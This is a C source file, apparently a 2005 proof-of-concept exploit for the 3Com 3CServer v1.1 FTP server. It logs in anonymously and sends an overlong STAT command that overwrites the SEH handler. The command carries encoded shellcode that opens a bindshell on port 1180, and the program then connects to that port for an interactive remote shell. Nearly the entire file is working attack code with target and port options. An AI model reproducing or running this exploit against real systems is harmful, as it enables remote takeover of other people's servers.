/*

subject:  Proof of Concept exploit for 3CServer v1.1 FTP server
vendor:    3Com, http://support.3com.com/software/utilities_for_windows_32_bit.htm
`date`:    Mon Feb  7 18:10:01     2005
notes:    universal offset, SEH ptr overwriting with variation
author:    mandragore, mandragore@turingtest@gmail.com

*/

#include <stdio.h>
#include <strings.h>
#include <signal.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define NORM  "\033[00;00m"
#define GREEN "\033[01;32m"
#define YELL  "\033[01;33m"
#define RED   "\033[01;31m"

#define BANNER GREEN "[%%] " YELL "mandragore's sploit v1.0 for " RED "3CServer v1.1.007" NORM

#define fatal(x) { perror(x); exit(1); }

#define default_port 21
#define default_user "anonymous"
#define default_pass "weak@3com.com"

#define GPA 0x0045b968
#define LLA 0x0045b964

#define offset 0x418A19  // call eax

unsigned char bsh[]={
// 198 bytes, iat's gpa at 0x1a, iat's lla at 0x2b, port at 0x46 (1180), key 0xde
0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xB0,0x80,0x36,0xDE,0x46,0xE2,0xFA,
0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0x57,0xD7,0x60,0xDE,0xFE,0x9E,0xDE,0xB6,0xED,
0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,0x9E,0xDE,0x49,
0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0xB4,0x90,0x89,0x21,0xC8,0x21,0x0E,
0x4D,0xB4,0xDE,0xB6,0xDC,0xDE,0xDA,0x42,0x55,0x1A,0xB4,0xCE,0x8E,0x8D,0xB4,0xDC,
0x89,0x21,0xC8,0x21,0x0E,0xB4,0xDF,0x8D,0xB4,0xD3,0x89,0x21,0xC8,0x21,0x0E,0xB4,
0xDE,0x8A,0x8D,0xB4,0xDF,0x89,0x21,0xC8,0x21,0x0E,0x55,0x06,0xED,0x1E,0xB4,0xCE,
0x87,0x55,0x22,0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,
0xDF,0x8E,0x8E,0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,0xBA,0xDE,0x8E,0x36,0xD1,0xDE,
0xDE,0xDE,0x9D,0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,
0xDE,0x18,0xD9,0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,0xDE,0x5D,0x19,0xE6,0x4D,0x75,
0x75,0x75,0xBA,0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,0x55,0x9E,0xC2,0x55,0xDE,0x21,
0xAE,0xD6,0x21,0xC8,0x21,0x0E
};

char verbose=0;

static void start(void) __attribute__ ((constructor));

void start() {
  int gpa=GPA^0xdededede, lla=LLA^0xdededede;
  memcpy(bsh+0x1a,&gpa,4);
  memcpy(bsh+0x2b,&lla,4);
}

int readcrap(int s) {
  struct timeval tv;
  fd_set fds;
  int ret;
  char buff[1024];

  FD_ZERO(&fds);
  FD_SET(s,&fds);

  bzero(buff,sizeof(buff));

  while (1) {
    tv.tv_sec=1;
    tv.tv_usec=0;
    if ( ret=select(s+1, &fds, NULL, NULL, (struct timeval *)&tv) < 0 )
      break;
    if (FD_ISSET(s,&fds)) {
      // something to read
      if ( read(s,buff,sizeof(buff),0) < 1 )
        break;
    } else {
      // timeout
      return 1;
    }
  }

  return 0; // something went bad
}

void usage(char *argv0) {
  int i;

  printf("%s -d <host/ip> [opts]\n\n",argv0);

  printf("Options:\n");
  printf(" -h undocumented\n");
  printf(" -u user [default: " default_user "]\n");
  printf(" -p pass [default: " default_pass "]\n");
  printf(" -P <port> for the shellcode [default: 1180]\n");

  exit(1);
}

void shell(int s) {
  char buff[4096];
  int retval;
  fd_set fds;

  printf("[+] connected!\n\n");

  for (;;) {
    FD_ZERO(&fds);
    FD_SET(0,&fds);
    FD_SET(s,&fds);

        if (select(s+1, &fds, NULL, NULL, NULL) < 0)
      fatal("[-] shell.select()");

    if (FD_ISSET(0,&fds)) {
      if ((retval = read(1,buff,4096)) < 1)
        fatal("[-] shell.recv(stdin)");
      send(s,buff,retval,0);
    }

    if (FD_ISSET(s,&fds)) {
      if ((retval = recv(s,buff,4096,0)) < 1)
        fatal("[-] shell.recv(socket)");
      write(1,buff,retval);
    }
  }
}

int main(int argc, char **argv, char **env) {
  struct sockaddr_in sin;
  struct hostent *he;
  char *host; int port=default_port;
  char *Host; int Port=1180; char bindopt=1;
  int i,s;
  char *buff, *jmpback="\xe9\x35\xff\xff\xff";
  char *user=default_user; char *pass=default_pass;

  printf(BANNER "\n");

  if (argc==1)
    usage(argv[0]);

  for (i=1;i<argc;i+=2) {
    if (strlen(argv[i]) != 2)
      usage(argv[0]);

    switch(argv[i][1]) {
      case 'd':
        host=argv[i+1];
        break;
      case 'u':
        user=argv[i+1];
        break;
      case 'p':
        pass=argv[i+1];
        break;
      case 'P':
        Port=atoi(argv[i+1])?:1180;
        Port=Port ^ 0xdede;
        Port=(Port & 0xff) << 8 | Port >>8;
        memcpy(bsh+0x46,&Port,2);
        Port=Port ^ 0xdede;
        Port=(Port & 0xff) << 8 | Port >>8;
        break;
      case 'v':
        verbose++; i--;
        break;
      case 'h':
        usage(argv[0]);
      default:
        usage(argv[0]);
      }
  }

  if (verbose)
    printf("verbose!\n");

  if ((he=gethostbyname(host))==NULL)
    fatal("[-] gethostbyname()");

  sin.sin_family = 2;
  sin.sin_addr = *((struct in_addr *)he->h_addr_list[0]);
  sin.sin_port = htons(port);

  printf("[.] launching attack on %s:%d..\n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),port);
  printf("[.] will try to put a bindshell on port %d.\n",Port);

// --------------------  core

  s=socket(2,1,6);

  if (connect(s,(struct sockaddr *)&sin,16)!=0)
    fatal("[-] connect()");

  printf("[+] connected, sending exploit\n");

  buff=(char *)malloc(4096);
  bzero(buff,4096);

  readcrap(s);
  sprintf(buff,"USER %s\r\n",user);
  send(s,buff,strlen(buff),0);
  readcrap(s);
  sprintf(buff,"PASS %s\r\n",pass);
  send(s,buff,strlen(buff),0);
  readcrap(s);

  bzero(buff,sizeof(buff));
  strcpy(buff,"STAT ");
  memset(buff+5,0x41,2000);
  memcpy(buff+5+0x571-strlen(bsh),&bsh,strlen(bsh));
  memcpy(buff+5+0x571,jmpback,strlen(jmpback));
  i=offset;
  memcpy(buff+5+0x5d9,&i,4);

  send(s,buff,strlen(buff),0);
  readcrap(s);

  free(buff);

  close(s);

// --------------------  end of core

  sin.sin_port = htons(Port);
  sleep(1);
  s=socket(2,1,6);
  if (connect(s,(struct sockaddr *)&sin,16)!=0)
    fatal("[-] exploit most likely failed");
  shell(s);

  exit(0);
}